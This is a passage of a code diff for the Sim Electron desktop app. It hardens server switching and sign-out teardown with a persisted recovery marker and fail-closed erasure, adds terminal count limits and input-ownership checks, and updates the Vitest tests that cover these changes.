     expect(throwing.relaunch).not.toHaveBeenCalled()
+    expect(throwing.completeDeploymentScopedStateChange).not.toHaveBeenCalled()
     expect(throwing.config.getOrigin()).toBe(CURRENT)
   })
 
+  it('keeps teardown recovery pending when persisting the new origin fails', async () => {
+    const config = makeConfig(CURRENT, () => ({ ok: false, error: 'disk is read-only' }))
+    const failing = makeDeps({ config })
+
+    const result = await createServerWindow(failing).setOrigin('https://sim.other.example')
+
+    expect(result).toEqual({ ok: false, error: 'disk is read-only' })
+    expect(failing.completeDeploymentScopedStateChange).toHaveBeenCalledOnce()
+    expect(failing.relaunch).not.toHaveBeenCalled()
+  })
+
+  it('relaunches against the committed server when completing teardown fails', async () => {
+    const failing = makeDeps({
+      completeDeploymentScopedStateChange: vi.fn((commit) => {
+        commit()
+        throw new Error('marker is read-only')
+      }),
+    })
+
+    const result = await createServerWindow(failing).setOrigin('https://sim.other.example')
+
+    expect(result).toEqual({
+      ok: true,
+      origin: 'https://sim.other.example',
+      unchanged: false,
+    })
+    expect(failing.config.setOrigin).toHaveBeenCalledWith('https://sim.other.example')
+    expect(failing.config.getOrigin()).toBe('https://sim.other.example')
+    expect(failing.relaunch).toHaveBeenCalledOnce()
+  })
+
+  it('refuses the change while a stronger account teardown is active', async () => {
+    const failing = makeDeps({
+      completeDeploymentScopedStateChange: vi.fn(() => false),
+    })
+
+    const result = await createServerWindow(failing).setOrigin('https://sim.other.example')
+
+    expect(result).toMatchObject({ ok: false })
+    expect(failing.config.set).not.toHaveBeenCalled()
+    expect(failing.config.setOrigin).not.toHaveBeenCalled()
+    expect(failing.completeDeploymentScopedStateChange).toHaveBeenCalledOnce()
+    expect(failing.relaunch).not.toHaveBeenCalled()
+  })
+
   // Validated up front with the shell's own rule, before anything is torn down
   // or written, so a typo costs nothing.
   it('surfaces a rejected origin without tearing anything down', async () => {
diff --git a/apps/desktop/src/main/server-window.ts b/apps/desktop/src/main/server-window.ts
index 03d6eb003b5..193f73dd630 100644
--- a/apps/desktop/src/main/server-window.ts
+++ b/apps/desktop/src/main/server-window.ts
@@ -69,6 +69,10 @@ export interface ServerWindowDeps {
    * failure not hide another's, and lets the caller refuse to move.
    */
   clearDeploymentScopedState: () => Promise<readonly string[]>
+  /** Durably records the outgoing deployment before any capability is erased. */
+  prepareDeploymentScopedStateChange: () => boolean
+  /** Atomically commits the new configuration and completes this server wipe. */
+  completeDeploymentScopedStateChange: (commit: () => boolean) => boolean
   /**
    * Relaunches the shell against the newly stored origin. A full restart rather
    * than an in-place swap: the origin decides the cookie partition, the update
@@ -179,7 +183,7 @@ export function createServerWindow(deps: ServerWindowDeps): ServerWindowHandle {
     // what would actually be written.
     const origin = canonicalOrigin(validated.origin)
     const current = deps.config.getOrigin()
-    if (origin === current) {
+    if (origin === current && deps.config.isPersistenceAvailable()) {
       // Nothing moves, so nothing is torn down. Relaunching anyway would make
       // "confirm the URL I already use" restart the app for no reason.
       return { ok: true, origin, unchanged: true }
@@ -190,6 +194,13 @@ export function createServerWindow(deps: ServerWindowDeps): ServerWindowHandle {
     }
     changeInFlight = true
     try {
+      if (!deps.prepareDeploymentScopedStateChange()) {
+        logger.error('Could not persist deployment-scoped recovery marker')
+        return {
+          ok: false,
+          error: 'Could not safely prepare the server change. Try again.',
+        }
+      }
       // Fail closed, and clear BEFORE persisting. If a store cannot be emptied,
       // the shell must not move: the incoming deployment would otherwise
       // inherit folder grants and authenticated browser sessions the outgoing
@@ -215,15 +226,42 @@ export function createServerWindow(deps: ServerWindowDeps): ServerWindowHandle {
         }
       }
 
-      logger.info('Server origin changed; relaunching', { from: current, to: origin })
-      deps.config.setOrigin(raw)
-      for (const key of ORIGIN_SCOPED_SETTINGS) {
-        deps.config.set(key, undefined)
+      const transaction: {
+        stored: ReturnType<ConfigStore['setOrigin']> | null
+      } = { stored: null }
+      try {
+        const completed = deps.completeDeploymentScopedStateChange(() => {
+          for (const key of ORIGIN_SCOPED_SETTINGS) {
+            deps.config.set(key, undefined)
+          }
+          transaction.stored = deps.config.setOrigin(raw)
+          return transaction.stored.ok
+        })
+        if (!completed) {
+          if (transaction.stored && !transaction.stored.ok) return transaction.stored
+          logger.error('Refusing to change server while account-data recovery is active')
+          return {
+            ok: false,
+            error: 'Finish signing out or restart Sim before changing servers.',
+          }
+        }
+      } catch (error) {
+        if (transaction.stored?.ok) {
+          logger.error('Server changed but deployment-scoped recovery remains pending', {
+            error: getErrorMessage(error),
+          })
+        } else {
+          logger.error('Could not persist the new server origin', {
+            error: getErrorMessage(error),
+          })
+          return {
+            ok: false,
+            error: 'Could not save the new server URL. Try again.',
+          }
+        }
       }
-      // setOrigin writes through immediately; the clears above are debounced
-      // like every other setting. `before-quit` flushes too, but doing it here
-      // keeps the write independent of the Electron quit sequence.
-      deps.config.flush()
+
+      logger.info('Server origin changed; relaunching', { from: current, to: origin })
       close()
       deps.relaunch()
       return { ok: true, origin, unchanged: false }
diff --git a/apps/desktop/src/main/session-lifecycle.test.ts b/apps/desktop/src/main/session-lifecycle.test.ts
index 0623d5e2e18..b359110bf90 100644
--- a/apps/desktop/src/main/session-lifecycle.test.ts
+++ b/apps/desktop/src/main/session-lifecycle.test.ts
@@ -1,8 +1,16 @@
-import { describe, expect, it, vi } from 'vitest'
+import { mkdtempSync, writeFileSync } from 'node:fs'
+import { rm } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 
 vi.mock('electron', () => import('@/test/electron-mock'))
 
 import { BrowserWindow, type Session } from 'electron'
+import {
+  completeAccountDataTeardown,
+  initializeAccountDataRecovery,
+} from '@/main/account-data-generation'
 import {
   createSessionLifecycleCoordinator,
   decideStartRoute,
@@ -15,6 +23,18 @@ import {
 } from '@/main/session-lifecycle'
 
 const APP = 'https://sim.ai'
+let recoveryDirectory: string
+
+beforeEach(() => {
+  recoveryDirectory = mkdtempSync(join(tmpdir(), 'sim-session-lifecycle-'))
+  initializeAccountDataRecovery(join(recoveryDirectory, 'teardown-required.json'))
+})
+
+afterEach(async () => {
+  completeAccountDataTeardown()
+  initializeAccountDataRecovery(null)
+  await rm(recoveryDirectory, { recursive: true, force: true })
+})
 
 describe('isSessionCookieName', () => {
   it('matches the better-auth session cookie on secure and non-secure hosts', () => {
@@ -148,10 +168,14 @@ describe('tearDownSession', () => {
       clearStorageData: vi.fn(async () => {
         order.push('session')
       }),
+      clearCache: vi.fn(async () => {
+        order.push('cache')
+      }),
     } as unknown as Session
 
     await tearDownSession(
       session,
+      APP,
       async () => {
         await Promise.resolve()
         order.push('local')
@@ -167,18 +191,18 @@ describe('tearDownSession', () => {
       }
     )
 
-    expect(order).toEqual(['revoke', 'local', 'browser', 'session'])
+    expect(order).toEqual(['revoke', 'local', 'browser', 'session', 'cache'])
   })
 
-  it('still clears the web session when the browser profile cannot be cleared', async () => {
-    // Sign-out must complete even if the embedded browser is in a bad state;
-    // failing to clear its cookies is bad, failing to sign out is worse.
+  it('attempts every local erasure but rejects when the browser profile survives', async () => {
     const clearStorageData = vi.fn(async () => {})
-    const session = { clearStorageData } as unknown as Session
+    const clearCache = vi.fn(async () => {})
+    const session = { clearStorageData, clearCache } as unknown as Session
 
     await expect(
       tearDownSession(
         session,
+        APP,
         async () => {},
         { filePath: '/tmp/events.log', record: vi.fn() },
         async () => {
@@ -186,19 +210,22 @@ describe('tearDownSession', () => {
         },
         async () => {}
       )
-    ).resolves.toBeUndefined()
+    ).rejects.toThrow('account-data stores could not be cleared')
 
     expect(clearStorageData).toHaveBeenCalled()
+    expect(clearCache).toHaveBeenCalled()
   })
 
-  it('continues clearing account state when local teardown fails', async () => {
+  it('attempts every local erasure but rejects when account state survives', async () => {
     const clearStorageData = vi.fn(async () => {})
+    const clearCache = vi.fn(async () => {})
     const clearBrowserProfile = vi.fn(async () => {})
-    const session = { clearStorageData } as unknown as Session
+    const session = { clearStorageData, clearCache } as unknown as Session
 
     await expect(
       tearDownSession(
         session,
+        APP,
         async () => {
           throw new Error('local store unavailable')
         },
@@ -206,20 +233,55 @@ describe('tearDownSession', () => {
         clearBrowserProfile,
         async () => {}
       )
-    ).resolves.toBeUndefined()
+    ).rejects.toThrow('account-data stores could not be cleared')
 
     expect(clearBrowserProfile).toHaveBeenCalledOnce()
     expect(clearStorageData).toHaveBeenCalledOnce()
+    expect(clearCache).toHaveBeenCalledOnce()
+  })
+
+  it('does not erase local data when the recovery marker cannot be written', async () => {
+    const directory = mkdtempSync(join(tmpdir(), 'sim-account-recovery-'))
+    const blockedParent = join(directory, 'blocked')
+    initializeAccountDataRecovery(join(blockedParent, 'teardown-required.json'))
+    writeFileSync(blockedParent, 'not a directory')
+    const clearHandoffState = vi.fn(async () => {})
+    const clearBrowserProfile = vi.fn(async () => {})
+    const clearStorageData = vi.fn(async () => {})
+    const clearCache = vi.fn(async () => {})
+
+    try {
+      await expect(
+        tearDownSession(
+          { clearStorageData, clearCache } as unknown as Session,
+          APP,
+          clearHandoffState,
+          { filePath: '/tmp/events.log', record: vi.fn() },
+          clearBrowserProfile,
+          async () => {}
+        )
+      ).rejects.toThrow('recovery marker')
+
+      expect(clearHandoffState).not.toHaveBeenCalled()
+      expect(clearBrowserProfile).not.toHaveBeenCalled()
+      expect(clearStorageData).not.toHaveBeenCalled()
+      expect(clearCache).not.toHaveBeenCalled()
+    } finally {
+      initializeAccountDataRecovery(null)
+      await rm(directory, { recursive: true, force: true })
+    }
   })
 
   it('still clears local state when the server-side revoke fails', async () => {
     // Offline sign-out must not strand the user signed in locally.
     const clearStorageData = vi.fn(async () => {})
-    const session = { clearStorageData } as unknown as Session
+    const clearCache = vi.fn(async () => {})
+    const session = { clearStorageData, clearCache } as unknown as Session
 
     await expect(
       tearDownSession(
         session,
+        APP,
         async () => {},
         { filePath: '/tmp/events.log', record: vi.fn() },
         async () => {},
@@ -231,6 +293,26 @@ describe('tearDownSession', () => {
 
     expect(clearStorageData).toHaveBeenCalled()
   })
+
+  it('rejects when the app cache cannot be cleared', async () => {
+    const session = {
+      clearStorageData: vi.fn(async () => {}),
+      clearCache: vi.fn(async () => {
+        throw new Error('cache busy')
+      }),
+    } as unknown as Session
+
+    await expect(
+      tearDownSession(
+        session,
+        APP,
+        async () => {},
+        { filePath: '/tmp/events.log', record: vi.fn() },
+        async () => {},
+        async () => {}
+      )
+    ).rejects.toThrow('account-data stores could not be cleared')
+  })
 })
 
 describe('revokeAppSession', () => {
@@ -292,10 +374,12 @@ describe('createSessionLifecycleCoordinator', () => {
     const cookiesOn = vi.fn()
     const webRequestOnCompleted = vi.fn()
     const clearStorageData = vi.fn(async () => {})
+    const clearCache = vi.fn(async () => {})
     const session = {
       cookies: { on: cookiesOn },
       webRequest: { onCompleted: webRequestOnCompleted },
       clearStorageData,
+      clearCache,
       fetch: vi.fn(async () => Response.json(null)),
     } as unknown as Session
     const first = new BrowserWindow()
@@ -333,4 +417,35 @@ describe('createSessionLifecycleCoordinator', () => {
     })
     expect(clearHandoffState).toHaveBeenCalledOnce()
   })
+
+  it('shares one awaitable teardown and does not open login when clearing fails', async () => {
+    let releaseBrowserClear: (() => void) | undefined
+    const browserClear = new Promise<void>((resolve) => {
+      releaseBrowserClear = resolve
+    })
+    const win = new BrowserWindow()
+    const coordinator = createSessionLifecycleCoordinator({
+      appSession: {
+        cookies: { on: vi.fn() },
+        clearStorageData: vi.fn(async () => {
+          throw new Error('storage locked')
+        }),
+        clearCache: vi.fn(async () => {}),
+      } as unknown as Session,
+      origin: () => APP,
+      events: { filePath: '/tmp/events.log', record: vi.fn() },
+      clearHandoffState: vi.fn(async () => {}),
+      clearBrowserProfile: vi.fn(() => browserClear),
+      getWindows: () => [win],
+    })
+
+    const first = coordinator.signOut()
+    const second = coordinator.signOut()
+    expect(first).toBe(second)
+    await expect(coordinator.awaitTeardown(1)).resolves.toBe(false)
+
+    releaseBrowserClear?.()
+    await expect(first).resolves.toBe(false)
+    expect(win.loadURL).not.toHaveBeenCalled()
+  })
 })
diff --git a/apps/desktop/src/main/session-lifecycle.ts b/apps/desktop/src/main/session-lifecycle.ts
index 0e68187b2dc..c6d47899b2b 100644
--- a/apps/desktop/src/main/session-lifecycle.ts
+++ b/apps/desktop/src/main/session-lifecycle.ts
@@ -1,6 +1,12 @@
 import { createLogger } from '@sim/logger'
+import { sleep } from '@sim/utils/helpers'
 import type { Session, WebContents } from 'electron'
 import { BrowserWindow, dialog } from 'electron'
+import {
+  beginAccountDataTeardown,
+  completeAccountDataTeardown,
+  waitForAccountDataMutations,
+} from '@/main/account-data-generation'
 import { isSafeInternalPath } from '@/main/config'
 import { isAuthSurfacePath, openExternalSafe } from '@/main/navigation'
 import type { EventRecorder } from '@/main/observability'
@@ -10,6 +16,7 @@ const logger = createLogger('DesktopSessionLifecycle')
 const SESSION_PROBE_TIMEOUT_MS = 5000
 const START_ROUTE_PROBE_TIMEOUT_MS = 1500
 const TEARDOWN_COOLDOWN_MS = 3000
+const TEARDOWN_WAIT_TIMEOUT_MS = 5000
 
 const CLEARED_STORAGES = [
   'cookies',
@@ -251,26 +258,43 @@ export async function revokeAppSession(win: BrowserWindow, origin: string): Prom
  */
 export async function tearDownSession(
   session: Session,
+  origin: string,
   clearHandoffState: () => void | Promise<void>,
   events: EventRecorder,
   clearBrowserProfile: () => Promise<void>,
   revokeSession: () => Promise<void>
 ): Promise<void> {
+  if (!beginAccountDataTeardown('account', origin)) {
+    throw new Error('Could not persist account-data recovery marker.')
+  }
   events.record('sign_out')
   // Server-side first, while the partition still holds the session cookie the
-  // revoke needs. Every step below is best-effort for the same reason the
-  // browser-profile clear is: failing to clear something is bad, failing to
-  // sign out is worse.
+  // revoke needs. Revocation remains best-effort because offline sign-out must
+  // still erase the device, but every local erasure below is fail-closed.
   await revokeSession().catch((error) => logger.error('Session revoke failed', { error }))
-  await Promise.resolve(clearHandoffState()).catch((error) =>
-    logger.error('Local account-state teardown failed', { error })
-  )
-  await clearBrowserProfile().catch((error) =>
-    logger.error('Browser profile teardown failed', { error })
+  await waitForAccountDataMutations()
+
+  const failures: unknown[] = []
+  const clear = async (label: string, operation: () => void | Promise<void>) => {
+    try {
+      await operation()
+    } catch (error) {
+      failures.push(error)
+      logger.error(label, { error })
+    }
+  }
+
+  await clear('Local account-state teardown failed', clearHandoffState)
+  await clear('Browser profile teardown failed', clearBrowserProfile)
+  await clear('App partition storage teardown failed', () =>
+    session.clearStorageData({ storages: [...CLEARED_STORAGES] })
   )
-  await session
-    .clearStorageData({ storages: [...CLEARED_STORAGES] })
-    .catch((error) => logger.error('App partition teardown failed', { error }))
+  await clear('App partition cache teardown failed', () => session.clearCache())
+
+  if (failures.length > 0) {
+    throw new AggregateError(failures, 'One or more account-data stores could not be cleared.')
+  }
+  completeAccountDataTeardown()
 }
 
 export interface SessionLifecycleDeps {
@@ -290,7 +314,10 @@ export interface SessionLifecycleCoordinator {
    * the in-progress guard, and its own cookie removal then trips the cookie
    * watcher into a second concurrent teardown.
    */
-  signOut(): void
+  signOut(): Promise<boolean>
+  /** Waits for an active teardown without allowing shutdown to hang indefinitely. */
+  awaitTeardown(timeoutMs?: number): Promise<boolean>
+  isTeardownActive(): boolean
 }
 
 interface SessionLifecycleCoordinatorDeps extends SessionLifecycleDeps {
@@ -314,13 +341,17 @@ interface SessionLifecycleCoordinatorDeps extends SessionLifecycleDeps {
 export function createSessionLifecycleCoordinator(
   deps: SessionLifecycleCoordinatorDeps
 ): SessionLifecycleCoordinator {
-  let tearingDown = false
-  const runTeardown = () => {
-    if (tearingDown) return
-    tearingDown = true
+  let teardownPromise: Promise<boolean> | null = null
+  let teardownSettled = true
+  let lastTeardownSucceeded: boolean | null = null
+  const runTeardown = (): Promise<boolean> => {
+    if (teardownPromise) return teardownPromise
+    teardownSettled = false
+    lastTeardownSucceeded = null
     logger.info('Sign-out detected; clearing partition')
-    void tearDownSession(
+    const pending = tearDownSession(
       deps.appSession,
+      deps.origin(),
       deps.clearHandoffState,
       deps.events,
       deps.clearBrowserProfile,
@@ -335,19 +366,39 @@ export function createSessionLifecycleCoordinator(
         }
       }
     )
-      .catch((error) => logger.error('Session teardown failed', { error }))
-      .finally(() => {
+      .then(() => {
         for (const win of deps.getWindows()) {
           if (!win.isDestroyed()) {
             void win.loadURL(`${deps.origin()}/login`).catch(() => {})
           }
         }
+        lastTeardownSucceeded = true
+        return true
+      })
+      .catch((error) => {
+        logger.error('Session teardown failed; refusing to report a clean sign-out', { error })
+        void dialog.showMessageBox({
+          type: 'error',
+          message: 'Sim could not finish signing out',
+          detail:
+            'Some account data could not be removed from this device. Try signing out again before another account uses the app.',
+          buttons: ['OK'],
+        })
+        lastTeardownSucceeded = false
+        return false
+      })
+      .finally(() => {
+        teardownSettled = true
         // Re-arm after clearStorageData's own cookie-removal events have
         // drained, so self-induced deletions never re-trigger teardown.
         setTimeout(() => {
-          tearingDown = false
+          if (teardownPromise === pending) {
+            teardownPromise = null
+          }
         }, TEARDOWN_COOLDOWN_MS)
       })
+    teardownPromise = pending
+    return pending
   }
 
   // Robust backstop: when the better-auth session cookie is deleted by ANY
@@ -355,7 +406,7 @@ export function createSessionLifecycleCoordinator(
   // gone with a probe — so cookie rotation can't cause a false teardown — then
   // clear the partition. This closes the cross-account residue gap.
   deps.appSession.cookies.on('changed', (_event, cookie, cause, removed) => {
-    if (tearingDown || !removed || cause === 'overwrite') {
+    if (teardownPromise !== null || !removed || cause === 'overwrite') {
       return
     }
     if (!isSessionCookieName(cookie.name)) {
@@ -370,6 +421,14 @@ export function createSessionLifecycleCoordinator(
 
   return {
     signOut: runTeardown,
+    async awaitTeardown(timeoutMs = TEARDOWN_WAIT_TIMEOUT_MS) {
+      const pending = teardownPromise
+      if (!pending) return lastTeardownSucceeded !== false
+      return Promise.race([pending, sleep(timeoutMs).then(() => false)])
+    },
+    isTeardownActive() {
+      return teardownPromise !== null && !teardownSettled
+    },
     attachWindow(win) {
       const onNavigation = (url: string) => {
         if (isLogoutNavigation(url, deps.origin())) {
diff --git a/apps/desktop/src/main/terminal/index.ts b/apps/desktop/src/main/terminal/index.ts
index 1dcfd7a1276..e22a8911cd7 100644
--- a/apps/desktop/src/main/terminal/index.ts
+++ b/apps/desktop/src/main/terminal/index.ts
@@ -82,6 +82,9 @@ const CWD_POLL_MS = 1_000
 /** Cmd-Shift-T history; independent of how many terminals may be open. */
 const MAX_RECENTLY_CLOSED_TERMINALS = 10
 
+/** A single chat cannot monopolize the process with native PTYs. */
+export const MAX_TERMINALS_PER_SCOPE = 16
+
 /** Pause between keys sent to a tmux pane, matching the pty keystroke gap. */
 const TMUX_KEY_GAP_MS = 150
 
@@ -130,7 +133,7 @@ function requestedKeys(args: TerminalToolArgs): TerminalControlKey[] {
 
 const EMPTY_TABS: TerminalTabsState = { tabs: [], activeTerminalId: null }
 
-class TerminalError extends Error {
+export class TerminalError extends Error {
   constructor(
     readonly code: TerminalErrorCode,
     message: string
@@ -155,6 +158,7 @@ export interface TerminalServiceOptions {
    * to the home directory.
    */
   loadCwd?(): string | undefined
+  canSpawn?(): boolean
 }
 
 export class TerminalService {
@@ -612,6 +616,36 @@ export class TerminalService {
     }
   }
 
+  /** Captures live renderer claims before the registry replaces this service. */
+  getPanelOwners(): { focused: WebContents | null; visible: WebContents | null } {
+    return {
+      focused: this.focusOwner && !this.focusOwner.isDestroyed() ? this.focusOwner : null,
+      visible: this.visibleOwner && !this.visibleOwner.isDestroyed() ? this.visibleOwner : null,
+    }
+  }
+
+  /**
+   * Whether this renderer owns the visible active terminal.
+   *
+   * IPC validates recent trusted input separately. Keeping ownership checks
+   * beside terminal state prevents a stale renderer from targeting a hidden
+   * tab or a terminal displayed by another window.
+   */
+  acceptsUserInput(owner: WebContents, terminalId: string): boolean {
+    return (
+      !owner.isDestroyed() &&
+      this.focusOwner === owner &&
+      this.visibleOwner === owner &&
+      this.activeId === terminalId &&
+      this.sessions.has(terminalId)
+    )
+  }
+
+  /** Whether one renderer may close a tab in the terminal panel it displays. */
+  acceptsUserClose(owner: WebContents, terminalId: string): boolean {
+    return !owner.isDestroyed() && this.visibleOwner === owner && this.sessions.has(terminalId)
+  }
+
   /** Drops the claim and unsubscribes from the owner's lifecycle. */
   private releaseFocusOwner(): void {
     this.releaseFocusListeners?.()
@@ -1092,6 +1126,18 @@ export class TerminalService {
     rows: number,
     options: { activateVisible: boolean; activateAgent: boolean }
   ): TerminalSession {
+    if (this.sessions.size >= MAX_TERMINALS_PER_SCOPE) {
+      throw new TerminalError(
+        'RESOURCE_LIMIT',
+        `A task can have at most ${MAX_TERMINALS_PER_SCOPE} live terminals.`
+      )
+    }
+    if (this.options.canSpawn && !this.options.canSpawn()) {
+      throw new TerminalError(
+        'RESOURCE_LIMIT',
+        'Sim can have at most 48 live terminals. Close a terminal before opening another.'
+      )
+    }
     const terminalId = String(this.nextId++)
     try {
       const session = TerminalSession.create({
diff --git a/apps/desktop/src/main/terminal/registry.test.ts b/apps/desktop/src/main/terminal/registry.test.ts
index 9dbca468c1b..6300a1adb00 100644
--- a/apps/desktop/src/main/terminal/registry.test.ts
+++ b/apps/desktop/src/main/terminal/registry.test.ts
@@ -9,6 +9,7 @@ interface StubSessionControl {
   terminalId: string
   cwd: string
   disposed: boolean
+  writes: string[]
   emitData(data: string): void
   emitCommand(event: TerminalCommandEvent): void
 }
@@ -20,7 +21,8 @@ interface StubSessionCallbacks {
   onExit(terminalId: string): void
 }
 
-const { stubSessions } = vi.hoisted(() => ({
+const { createControl, stubSessions } = vi.hoisted(() => ({
+  createControl: { calls: 0, failAt: null as number | null },
   stubSessions: [] as StubSessionControl[],
 }))
 
@@ -40,10 +42,15 @@ vi.mock('@/main/terminal/session', () => ({
       rows: number
       callbacks: StubSessionCallbacks
     }) => {
+      createControl.calls += 1
+      if (createControl.calls === createControl.failAt) {
+        throw new Error('PTY spawn failed')
+      }
       const control: StubSessionControl = {
         terminalId,
         cwd,
         disposed: false,
+        writes: [],
         emitData: (data) => callbacks.onData(terminalId, data),
         emitCommand: (event) => callbacks.onCommand(event),
       }
@@ -66,7 +73,7 @@ vi.mock('@/main/terminal/session', () => ({
         dispose: () => {
           control.disposed = true
         },
-        write: vi.fn(),
+        write: vi.fn((data: string) => control.writes.push(data)),
         resize: vi.fn(),
         tabState: (active: boolean) => ({
           terminalId,
@@ -103,6 +110,8 @@ function sink(): ScopedTerminalSink {
 
 describe('TerminalRegistry', () => {
   beforeEach(() => {
+    createControl.calls = 0
+    createControl.failAt = null
     stubSessions.length = 0
   })
 
@@ -236,6 +245,140 @@ describe('TerminalRegistry', () => {
     terminals.dispose()
   })
 
+  it('rolls back a partial restore before retrying the complete descriptor', () => {
+    const persistedTabs = [{ cwd: tmpdir() }, { cwd: process.cwd() }, { cwd: tmpdir() }]
+    const persistence: TerminalScopePersistence = {
+      load: vi.fn(() => ({ v: 1 as const, tabs: persistedTabs, activeIndex: 1 })),
+      save: vi.fn(() => true),
+      migrate: vi.fn(() => true),
+      disposeScope: vi.fn(),
+    }
+    const terminals = new TerminalRegistry(persistence)
+    const events = sink()
+    const owner = {
+      isDestroyed: () => false,
+      once: vi.fn(),
+      on: vi.fn(),
+      removeListener: vi.fn(),
+      send: vi.fn(),
+    }
+    terminals.setSink(events)
+    terminals.setPanelVisible('chat-A', true, owner as never)
+    terminals.setPanelFocused('chat-A', true, owner as never)
+    createControl.failAt = 2
+
+    expect(() => terminals.start('chat-A', { cols: 120, rows: 40 })).toThrow('PTY spawn failed')
+    expect(stubSessions).toHaveLength(1)
+    expect(stubSessions[0].disposed).toBe(true)
+    expect(terminals.peekTabs('chat-A')).toEqual({ tabs: [], activeTerminalId: null })
+    expect(persistence.save).not.toHaveBeenCalled()
+    expect(events.tabs).not.toHaveBeenCalled()
+
+    createControl.failAt = null
+    const restored = terminals.start('chat-A', { cols: 120, rows: 40 })
+
+    expect(restored.tabs.map(({ cwd }) => cwd)).toEqual(persistedTabs.map(({ cwd }) => cwd))
+    expect(restored.activeTerminalId).toBe('2')
+    expect(stubSessions.filter(({ disposed }) => !disposed)).toHaveLength(3)
+    expect(
+      stubSessions.filter(({ disposed }) => !disposed).map(({ terminalId }) => terminalId)
+    ).toEqual(['1', '2', '3'])
+    expect(persistence.save).toHaveBeenCalledOnce()
+    expect(events.tabs).toHaveBeenCalledOnce()
+    expect(events.tabs).toHaveBeenCalledWith('chat-A', restored)
+
+    const activeTerminalId = restored.activeTerminalId as string
+    expect(terminals.writeUserInput('chat-A', activeTerminalId, 'a', owner as never)).toBe(true)
+    expect(terminals.handleFocusedShortcut({ webContents: owner } as never, 'zoom-in')).toBe(true)
+    expect(owner.send).toHaveBeenCalledWith(
+      'terminal:shortcut-command',
+      'zoom-in',
+      'chat-A',
+      activeTerminalId
+    )
+    expect(terminals.closeUserTerminal('chat-A', '1', owner as never).tabs).toHaveLength(2)
+
+    terminals.dispose()
+  })
+
+  it('bounds a corrupt oversized restore while retaining its selected tab', () => {
+    const persistedTabs = Array.from({ length: 20 }, (_, index) => ({
+      cwd: index % 2 === 0 ? tmpdir() : process.cwd(),
+    }))
+    const persistence: TerminalScopePersistence = {
+      load: vi.fn(() => ({
+        v: 1 as const,
+        tabs: persistedTabs,
+        activeIndex: 19,
+      })),
+      save: vi.fn(() => true),
+      migrate: vi.fn(() => true),
+      disposeScope: vi.fn(),
+    }
+    const terminals = new TerminalRegistry(persistence)
+
+    const restored = terminals.start('chat-A', { cols: 120, rows: 40 })
+
+    expect(restored.tabs).toHaveLength(16)
+    expect(restored.activeTerminalId).toBe('16')
+    expect(stubSessions.map(({ cwd }) => cwd)).toEqual([
+      ...persistedTabs.slice(0, 15).map(({ cwd }) => cwd),
+      persistedTabs[19].cwd,
+    ])
+    expect(persistence.save).toHaveBeenLastCalledWith('chat-A', {
+      v: 1,
+      tabs: [...persistedTabs.slice(0, 15), persistedTabs[19]],
+      activeIndex: 15,
+    })
+  })
+
+  it('enforces the process-wide terminal ceiling without evicting live scopes', () => {
+    const terminals = registry()
+    for (let index = 0; index < 48; index++) {
+      terminals.start(`chat-${index}`, { cols: 80, rows: 24 })
+    }
+
+    expect(() => terminals.start('chat-overflow', { cols: 80, rows: 24 })).toThrow(
+      expect.objectContaining({ code: 'RESOURCE_LIMIT' })
+    )
+    expect(stubSessions).toHaveLength(48)
+    expect(stubSessions.every((session) => !session.disposed)).toBe(true)
+  })
+
+  it('does not truncate a saved terminal session while the process budget is occupied', () => {
+    const persistedTabs = [{ cwd: tmpdir() }, { cwd: process.cwd() }, { cwd: tmpdir() }]
+    const persistence: TerminalScopePersistence = {
+      load: vi.fn((scope) =>
+        scope === 'chat-pending-restore'
+          ? { v: 1 as const, tabs: persistedTabs, activeIndex: 1 }
+          : undefined
+      ),
+      save: vi.fn(() => true),
+      migrate: vi.fn(() => true),
+      disposeScope: vi.fn(),
+    }
+    const terminals = new TerminalRegistry(persistence)
+    for (let index = 0; index < 46; index++) {
+      terminals.start(`chat-live-${index}`, { cols: 80, rows: 24 })
+    }
+
+    expect(() => terminals.start('chat-pending-restore', { cols: 80, rows: 24 })).toThrow(
+      expect.objectContaining({ code: 'RESOURCE_LIMIT' })
+    )
+    expect(persistence.save).not.toHaveBeenCalledWith('chat-pending-restore', expect.anything())
+
+    terminals.disposeScope('chat-live-0')
+    const restored = terminals.start('chat-pending-restore', { cols: 80, rows: 24 })
+
+    expect(restored.tabs.map(({ cwd }) => cwd)).toEqual(persistedTabs.map(({ cwd }) => cwd))
+    expect(restored.activeTerminalId).toBe('2')
+    expect(persistence.save).toHaveBeenCalledWith('chat-pending-restore', {
+      v: 1,
+      tabs: persistedTabs,
+      activeIndex: 1,
+    })
+  })
+
   it('opens a fallback shell for a saved tab whose directory no longer exists', () => {
     const missingCwd = '/definitely-does-not-exist/sim-terminal-restored-tab'
     const persistence: TerminalScopePersistence = {
@@ -399,4 +542,55 @@ describe('TerminalRegistry', () => {
     terminals.setPanelFocused('chat-B', false, contents as never)
     expect(terminals.handleFocusedShortcut(ownerWindow as never, 'reload-or-clear')).toBe(false)
   })
+
+  it('writes user input only for the visible focused owner and active terminal', () => {
+    const terminals = registry()
+    const first = terminals.start('chat-A', { cols: 80, rows: 24 }).activeTerminalId as string
+    const second = terminals.openTerminal('chat-A').activeTerminalId as string
+    terminals.start('chat-B', { cols: 80, rows: 24 })
+    const owner = {
+      isDestroyed: () => false,
+      once: vi.fn(),
+      on: vi.fn(),
+      removeListener: vi.fn(),
+    }
+    const other = { ...owner, once: vi.fn(), on: vi.fn(), removeListener: vi.fn() }
+
+    terminals.setPanelFocused('chat-A', true, owner as never)
+    terminals.setPanelVisible('chat-A', true, owner as never)
+
+    expect(terminals.writeUserInput('chat-A', second, 'a', other as never)).toBe(false)
+    expect(terminals.writeUserInput('chat-A', first, 'a', owner as never)).toBe(false)
+    expect(terminals.writeUserInput('chat-B', '1', 'a', owner as never)).toBe(false)
+    expect(stubSessions.every((session) => session.writes.length === 0)).toBe(true)
+
+    expect(terminals.writeUserInput('chat-A', second, 'a', owner as never)).toBe(true)
+    const activeSession = stubSessions.find((session) => session.terminalId === second)
+    expect(activeSession?.writes).toEqual(['a'])
+  })
+
+  it('closes tabs only for the renderer displaying their terminal scope', () => {
+    const terminals = registry()
+    const first = terminals.start('chat-A', { cols: 80, rows: 24 }).activeTerminalId as string
+    const second = terminals.openTerminal('chat-A').activeTerminalId as string
+    const owner = {
+      isDestroyed: () => false,
+      once: vi.fn(),
+      on: vi.fn(),
+      removeListener: vi.fn(),
+    }
+    const other = { ...owner, once: vi.fn(), on: vi.fn(), removeListener: vi.fn() }
+
